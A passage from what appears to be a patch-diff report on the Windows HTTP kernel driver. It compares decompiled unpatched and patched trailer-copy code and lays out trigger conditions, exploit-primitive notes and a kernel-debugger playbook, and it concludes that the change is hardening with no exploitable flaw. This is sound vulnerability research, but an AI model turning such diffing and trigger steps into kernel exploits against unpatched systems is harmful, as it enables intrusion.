&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// bounds the write&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// copy user string into kernel buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// value length read twice (v23/v24 from v17[1]); value copied the same way&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UlSetParsedHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED UlGenerateTrailers (sub_14009EEA0) ===&lt;/span&gt;
&lt;span class="c1"&gt;// New KIR path selected by default; the else branch below still runs the old code.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UxKirNewUma&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoIs32bitProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// alignment check (non-32bit)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_DATATYPE_MISALIGNMENT&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fromUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlReadUShortFromUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;24L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;24L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fromUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlReadULong64FromUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// bounds the write&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// probe + copy in one&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// value read via RtlReadUShortFromUser / RtlReadULong64FromUser, then copied&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// RETAINED unpatched path: UlProbeForRead on 64-bit, direct *v43 reads,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// UlProbeAnsiStringOld + memmove, internal UxKirHttpReadingTrailersFromUm sub-gate.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly / Code Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;UlGenerateTrailers&lt;/code&gt; name/value copy (unpatched vs patched)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched &lt;code&gt;sub_14009DE00&lt;/code&gt;: the per-entry name length is read twice (&lt;code&gt;v18 = *v17&lt;/code&gt;, then &lt;code&gt;v33 = *v17&lt;/code&gt;), the name pointer directly (&lt;code&gt;*(entry+8)&lt;/code&gt;), the name/value are validated with &lt;code&gt;UlProbeAnsiString&lt;/code&gt; (&lt;code&gt;sub_1400640F0&lt;/code&gt;), the write is bounded by &lt;code&gt;if (len &amp;gt; remaining) break&lt;/code&gt; (&lt;code&gt;0xC0000096&lt;/code&gt;), and the bytes are moved with &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;sub_14014E300&lt;/code&gt;). The 64-bit path probes the whole array with &lt;code&gt;UlProbeForRead&lt;/code&gt;; the 32-bit / already-captured path reads it directly. This direct-read loop is itself already gated by an internal &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; flag in the unpatched build.&lt;/li&gt;
&lt;li&gt;Patched &lt;code&gt;sub_14009EEA0&lt;/code&gt;: under &lt;code&gt;UxKirNewUma&lt;/code&gt; the same fields are read through &lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; (&lt;code&gt;sub_1401BD11C&lt;/code&gt;, which itself performs a &lt;code&gt;ProbeForRead(2, 1)&lt;/code&gt; then a single word read) and &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt; (&lt;code&gt;sub_1401BD0A4&lt;/code&gt;), the array base is alignment-checked on the non-32bit path, and the string copy is performed by &lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt; (&lt;code&gt;sub_1400E5D34&lt;/code&gt;), whose negative return aborts the loop. When &lt;code&gt;UxKirNewUma&lt;/code&gt; is off, the &lt;code&gt;else&lt;/code&gt; branch reproduces the unpatched loop (&lt;code&gt;UlProbeAnsiStringOld&lt;/code&gt; + &lt;code&gt;memmove&lt;/code&gt;, with the &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; sub-gate). &lt;code&gt;UlSetParsedHeader&lt;/code&gt; (&lt;code&gt;sub_14005BCC0&lt;/code&gt;) is still called per entry.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;sub_14014E300&lt;/code&gt; and &lt;code&gt;sub_14015E3C0&lt;/code&gt; are both &lt;code&gt;memmove&lt;/code&gt;; the length check that bounds the destination write is present in both builds, so the copy into the kernel buffer does not overflow. The change is on the read side (per-field safe captures, alignment, probe-and-copy), and it is defense-in-depth rather than a fix for a demonstrable out-of-bounds condition: the string data is probed and the copy is length-bounded in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach the changed read path in &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (&lt;code&gt;sub_14009DE00&lt;/code&gt;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;From a local process, call the HTTP Server API to send an HTTP response.&lt;/li&gt;
&lt;li&gt;Attach a trailer array to the send (a set of name/value descriptors in the response object).&lt;/li&gt;
&lt;li&gt;Supply descriptor entries so the per-entry length/pointer fields are read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable difference:&lt;/strong&gt; On the unpatched build (and on the patched build with &lt;code&gt;UxKirNewUma&lt;/code&gt; disabled) each length field is read directly and the name length is read twice; on the patched build with the flag enabled each field is read once through &lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt;, a misaligned array base is rejected with &lt;code&gt;STATUS_DATATYPE_MISALIGNMENT&lt;/code&gt;, and the string is copied via &lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt;. Because the string data is probed and the copy is length-bounded in both builds, no out-of-bounds read or write of attacker-influenced size is reachable through this path.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Provided Primitive:&lt;/strong&gt; None demonstrable in the binaries. The change removes a very narrow double-read of a length field and routes direct user-mode dereferences through the safe-capture intrinsics. In both builds the string pointers are probed (&lt;code&gt;UlProbeAnsiString&lt;/code&gt; / &lt;code&gt;UlProbeAnsiStringOld&lt;/code&gt;) and the copy into the kernel buffer is bounded (&lt;code&gt;if (len &amp;gt; remaining) break&lt;/code&gt;), so this path yields no out-of-bounds write and no attacker-sized copy. The double-read of the name length is two adjacent loads of the same field, so the time-of-check/time-of-use window is not meaningfully exploitable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constraints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The destination copy is bounded in both builds, so this path does not give a kernel-pool write overflow.&lt;/li&gt;
&lt;li&gt;The trigger requires a local caller of the HTTP Server API; it is reached through the response-send path, not by remote network bytes.&lt;/li&gt;
&lt;li&gt;The unpatched behavior is retained in the patched binary and runs whenever &lt;code&gt;UxKirNewUma&lt;/code&gt; is disabled, so this is a rollback-gated hardening change, not the removal of an exploitable code path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of the change:&lt;/strong&gt; Defense-in-depth user-mode-read hardening (single safe captures, per-field probing, alignment validation), consistent across the three legacy routines and gated by one Known-Issue-Rollback flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;p&gt;Connect a kernel debugger to the target environment to observe the read-path difference.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
- &lt;code&gt;bp http!UlGenerateTrailers&lt;/code&gt; (&lt;code&gt;sub_14009DE00&lt;/code&gt; @ 0x14009DE00)
  - &lt;em&gt;Why:&lt;/em&gt; Entry of the trailer serializer. &lt;code&gt;arg1&lt;/code&gt; (rcx) is the IRP, &lt;code&gt;arg4&lt;/code&gt; (r9) is the destination kernel buffer, &lt;code&gt;arg5&lt;/code&gt; is the remaining-size counter, &lt;code&gt;arg2&lt;/code&gt; holds the trailer descriptor object (&lt;code&gt;*(a2+16)&lt;/code&gt; array base, &lt;code&gt;*(a2+8)&lt;/code&gt; count).
- &lt;code&gt;bp http!IoIs32bitProcess&lt;/code&gt; return inside &lt;code&gt;UlGenerateTrailers&lt;/code&gt;
  - &lt;em&gt;Why:&lt;/em&gt; Confirms which caller path is taken; the 64-bit path probes the whole array, the 32-bit / captured path reads it directly in both builds.
- &lt;code&gt;bp http!memmove&lt;/code&gt; (&lt;code&gt;sub_14014E300&lt;/code&gt;)
  - &lt;em&gt;Why:&lt;/em&gt; Break on each copy to observe the source pointer and the length that were read from the descriptor and confirm the length is bounds-checked before the copy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;
- At &lt;code&gt;UlGenerateTrailers&lt;/code&gt; entry: descriptor array base and count (&lt;code&gt;*(arg2+16)&lt;/code&gt;, &lt;code&gt;*(arg2+8)&lt;/code&gt;), destination buffer (&lt;code&gt;arg4&lt;/code&gt;) and remaining size (&lt;code&gt;arg5&lt;/code&gt;).
- At the copy: the per-entry length read from the descriptor, and that the source pointer was probed before the copy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup (local):&lt;/strong&gt;
- Use a small HTTP Server API program: &lt;code&gt;HttpInitialize&lt;/code&gt;, &lt;code&gt;HttpCreateHttpHandle&lt;/code&gt;, receive a request, then &lt;code&gt;HttpSendHttpResponse&lt;/code&gt; / &lt;code&gt;HttpSendResponseEntityBody&lt;/code&gt; with a trailer array.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;
- On the unpatched build (or patched with &lt;code&gt;UxKirNewUma&lt;/code&gt; disabled) the name length is loaded twice and the fields are read directly. On the patched build with the flag enabled the fields are read once through the safe-capture intrinsics and a misaligned array base is rejected with &lt;code&gt;STATUS_DATATYPE_MISALIGNMENT&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlGenerateTrailers&lt;/code&gt; (sub_14009DE00 → sub_14009EEA0)&lt;/strong&gt; (Similarity: 0.4798):&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Security-relevant hardening (Low).&lt;/em&gt; Adds a &lt;code&gt;UxKirNewUma&lt;/code&gt;-gated path that reads trailer-descriptor fields once via &lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt;, adds array-base alignment validation, and copies strings with &lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt;. The unpatched direct-read path (double name-length read, &lt;code&gt;UlProbeAnsiStringOld&lt;/code&gt; + &lt;code&gt;memmove&lt;/code&gt;) is retained as the &lt;code&gt;else&lt;/code&gt; branch. Copy bounds and string probing are unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlFastSendHttpResponseOld&lt;/code&gt; (sub_1400CC828 → sub_1400CEC3C)&lt;/strong&gt; (Similarity: 0.9482):&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Security-relevant hardening (Low).&lt;/em&gt; Under &lt;code&gt;UxKirNewUma&lt;/code&gt;, copies the caller's &lt;code&gt;Transfer-Encoding&lt;/code&gt; header into a local buffer via &lt;code&gt;RtlCopyFromUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt; before the case-insensitive &lt;code&gt;"chunked"&lt;/code&gt; comparison; the old direct compare is retained. MDL &lt;code&gt;ByteCount&lt;/code&gt;/&lt;code&gt;Size&lt;/code&gt; computation and its length bounds check are unchanged between builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlCaptureChannelBindConfigOld&lt;/code&gt; (sub_140121DD0 → sub_14012E9C4)&lt;/strong&gt; (Similarity: 0.3853):&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Security-relevant hardening (Low).&lt;/em&gt; Reads the channel-binding config header and each service-name entry through &lt;code&gt;RtlReadULongFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt;, validates alignment with &lt;code&gt;UxProbeAlignment&lt;/code&gt;, and marshals 32-bit entry pointers via &lt;code&gt;ReadPtr32FromMode&lt;/code&gt;. The 32-bit/64-bit stride handling and the &lt;code&gt;0x40&lt;/code&gt; count cap already exist in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlpSendResponseOrEntityBodyFastIo&lt;/code&gt; (sub_14004A5B0 → sub_140068890)&lt;/strong&gt; (Similarity: 0.9834):&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Behavioral.&lt;/em&gt; Adds &lt;code&gt;UxKirNewUma&lt;/code&gt;-gated branch points consistent with the wider user-mode-access rollout; existing count/status/trailer limit checks are preserved. No standalone vulnerability fixed here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxSslGetCertInfo&lt;/code&gt; (sub_1400751F0 → sub_14007DF20)&lt;/strong&gt; (Similarity: 0.3794):&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Behavioral.&lt;/em&gt; SSL certificate-info retrieval routine restructured as part of the same build-wide change; its data copies remain &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;sub_14014E300&lt;/code&gt; / the relocated &lt;code&gt;sub_14015E3C0&lt;/code&gt;, both &lt;code&gt;memmove&lt;/code&gt;). No memcpy-to-bounds-checked substitution occurs here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxpSslCopyTransportIndicationsToHandshakeBuffer&lt;/code&gt; (sub_14005F380 → sub_14005E880)&lt;/strong&gt; (Similarity: 0.5883):&lt;/li&gt;
